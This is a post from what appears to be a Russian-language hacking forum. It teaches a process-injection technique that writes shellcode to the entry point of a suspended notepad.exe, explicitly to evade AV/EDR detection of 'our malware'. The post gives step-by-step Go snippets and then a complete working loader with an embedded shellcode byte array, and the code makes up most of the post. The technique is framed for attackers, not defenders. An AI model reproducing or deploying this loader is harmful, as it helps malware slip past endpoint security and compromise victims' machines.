• XSS.stack #1 – первый литературный журнал от юзеров форума

Shellcode injection without VirtualAllocEx RWX

W0s

RAM
Забанен
Регистрация
14.05.2022
Сообщения
109
Реакции
8
Гарант сделки
2
Пожалуйста, обратите внимание, что пользователь заблокирован
Today we will explore a truly excellent way to perform our shellcode injections to avoid directly assigning memory with RWX permissions. Then, we will encode an example in Golang.

Explanation
The technique we will learn today is a potential way to evade AV/EDR, as most of them attempt to detect if a process has allocated memory space with RWX permissions, which could indicate a shellcode injection. Since we also want to execute the written code, if an AV/EDR detects this activity, our malware will be blocked and flagged as malicious. That's a good reason why we want to use a technique like this.

As explained in various posts, to achieve this, we need to follow a process like this:

Start a process (e.g., notepad.exe) in a suspended state (CREATE_SUSPENDED) to inject shellcode later.
Calculate the entry point address of the created process.
Write the shellcode at the entry point address.
Then, resume the thread of the process.
Finally, our shellcode executes.
In this case, we will do this using these API calls: CreateProcess, ReadProcessMemory, WriteProcessMemory, ResumeThread, and NtQueryInformationProcess.

However, you can also do this with the appropriate Nt functions like NtCreateProcess and NtReadVirtualMemory, although for brevity and simplicity, we will do it easier with the other calls: NtWriteVirtualMemory and NtResumeThread.

If you're wondering how we can calculate the entry point address, first we obtain the base of the process image, then we analyze the NT and optional headers to finally be able to find the entry point address (relative virtual address).

Lets start importing our packages.
package main

Код:
import (
  "fmt"
  "log"
  "unsafe"
  "syscall"
  "encoding/binary"
  "golang.org/x/sys/windows"
)


Then, we gonna import the API.
Код:
// Load DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")

// The functions that we gonna use
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
Then, we gonna add our procces:
Код:
fmt.Println("[*] Calling CreateProcess...")
err := windows.CreateProcess(
  nil,
  syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
  nil,
  nil,
  false,
  windows.CREATE_SUSPENDED,
  nil,
  nil,
  &si,
  &pi,
)
if err != nil {
  log.Fatal(err)
}
Now, we gonna call the NtQueryInformationProcess to see our PEB position
Код:
fmt.Println("[*]Calling NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
  uintptr(pi.Process),
  uintptr(info),
  uintptr(unsafe.Pointer(&pbi)),
  uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
  uintptr(unsafe.Pointer(&returnLength)),
)

Then, we gonna call the procces ReadProcessMemory to obtain the image base.

Код:
pebOffset:= uintptr(unsafe.Pointer(pbi.PebBaseAddress))+0x10
var imageBase uintptr = 0


fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
  uintptr(pi.Process),
  pebOffset,
  uintptr(unsafe.Pointer(&imageBase)),
  8,
  0,
)


headersBuffer := make([]byte,4096)


fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
  uintptr(pi.Process),
  uintptr(imageBase),
  uintptr(unsafe.Pointer(&headersBuffer[0])),
  4096,
  0,
)


fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)


To calculate the entry point address, we need to analyze the DOS header and the NT header (some structures are defined but omitted here for brevity; you can refer to the final code for details.

And finally, we use WriteProcessMemory and ResumeThread to write the shellcode to the entry point address and resume the process thread.
Код:
fmt.Println("\n[*] Calling WriteProcessMemory...")
WriteProcessMemory.Call(
  uintptr(pi.Process),
  codeEntry, // Write the shellcode in to the entry point
  uintptr(unsafe.Pointer(&shellcode[0])),
  uintptr(len(shellcode)),
  0,
)

fmt.Println("[*] Calling ResumeThread...") // Finally, we recover the thread
ResumeThread.Call(uintptr(pi.Thread))

Our final code:

[CODE]package main


import (
    "fmt"
    "log"
    "syscall"
    "unsafe"
    "encoding/binary"
    "golang.org/x/sys/windows"
)


type IMAGE_DOS_HEADER struct {
    E_lfanew uint32
}


type IMAGE_NT_HEADER struct {
    Signature      uint32
    FileHeader     IMAGE_FILE_HEADER
    OptionalHeader IMAGE_OPTIONAL_HEADER
}


type IMAGE_FILE_HEADER struct {
    Machine              uint16
    NumberOfSections     uint16
    TimeDateStamp        uint32
    PointerToSymbolTable uint32
    NumberOfSymbols      uint32
    SizeOfOptionalHeader uint16
    Characteristics      uint16
}


type IMAGE_OPTIONAL_HEADER struct {
    Magic                       uint16
    MajorLinkerVersion          uint8
    MinorLinkerVersion          uint8
    SizeOfCode                  uint32
    SizeOfInitializedData       uint32
    SizeOfUninitializedData     uint32
    AddressOfEntryPoint         uint32
    BaseOfCode                  uint32
    ImageBase                   uint64
    SectionAlignment            uint32
    FileAlignment               uint32
    MajorOperatingSystemVersion uint16
    MinorOperatingSystemVersion uint16
    MajorImageVersion           uint16
    MinorImageVersion           uint16
    MajorSubsystemVersion       uint16
    MinorSubsystemVersion       uint16
    Win32VersionValue           uint32
    SizeOfImage                 uint32
    SizeOfHeaders               uint32
    CheckSum                    uint32
    Subsystem                   uint16
    DllCharacteristics          uint16
    SizeOfStackReserve          uint64
    SizeOfStackCommit           uint64
    SizeOfHeapReserve           uint64
    SizeOfHeapCommit            uint64
    LoaderFlags                 uint32
    NumberOfRvaAndSizes         uint32
    DataDirectory               [16]IMAGE_DATA_DIRECTORY
}


type IMAGE_DATA_DIRECTORY struct {
    VirtualAddress uint32
    Size           uint32
}


var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}


func main() {
    kernel32 := windows.NewLazyDLL("kernel32.dll")
    ntdll := windows.NewLazyDLL("ntdll.dll")


    ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
    WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
    ResumeThread := kernel32.NewProc("ResumeThread")
    NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")


    var info int32
    var returnLength int32


    var pbi windows.PROCESS_BASIC_INFORMATION
    var si windows.StartupInfo
    var pi windows.ProcessInformation


    fmt.Println("[*] Calling CreateProcess...")
    err := windows.CreateProcess(
        nil,
        syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
        nil,
        nil,
        false,
        windows.CREATE_SUSPENDED,
        nil,
        nil,
        &si,
        &pi,
    )
    if err != nil {
        log.Fatal(err)
    }


    fmt.Println("[*] Calling NtQueryInformationProcess...")
    NtQueryInformationProcess.Call(
        uintptr(pi.Process),
        uintptr(info),
        uintptr(unsafe.Pointer(&pbi)),
        uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
        uintptr(unsafe.Pointer(&returnLength)),
    )


    pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10
    var imageBase uintptr = 0


    fmt.Println("[*] Calling ReadProcessMemory...")
    ReadProcessMemory.Call(
        uintptr(pi.Process),
        pebOffset,
        uintptr(unsafe.Pointer(&imageBase)),
        8,
        0,
    )


    headersBuffer := make([]byte, 4096)


    fmt.Println("[*] Calling ReadProcessMemory...")
    ReadProcessMemory.Call(
        uintptr(pi.Process),
        uintptr(imageBase),
        uintptr(unsafe.Pointer(&headersBuffer[0])),
        4096,
        0,
    )


    fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
    fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)


    var dosHeader IMAGE_DOS_HEADER
    dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
    ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
    codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase


    fmt.Println("\n[*] Calling WriteProcessMemory...")
    WriteProcessMemory.Call(
        uintptr(pi.Process),
        codeEntry, // write shellcode to entry point
        uintptr(unsafe.Pointer(&shellcode[0])),
        uintptr(len(shellcode)),
        0,
    )


    fmt.Println("[*] Calling ResumeThread...") // finally resume thread
    ResumeThread.Call(uintptr(pi.Thread))


    // shellcode should have been executed at this point
    fmt.Println("[+] Shellcode executed!")
}

If you have any question, leave it on the thread!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх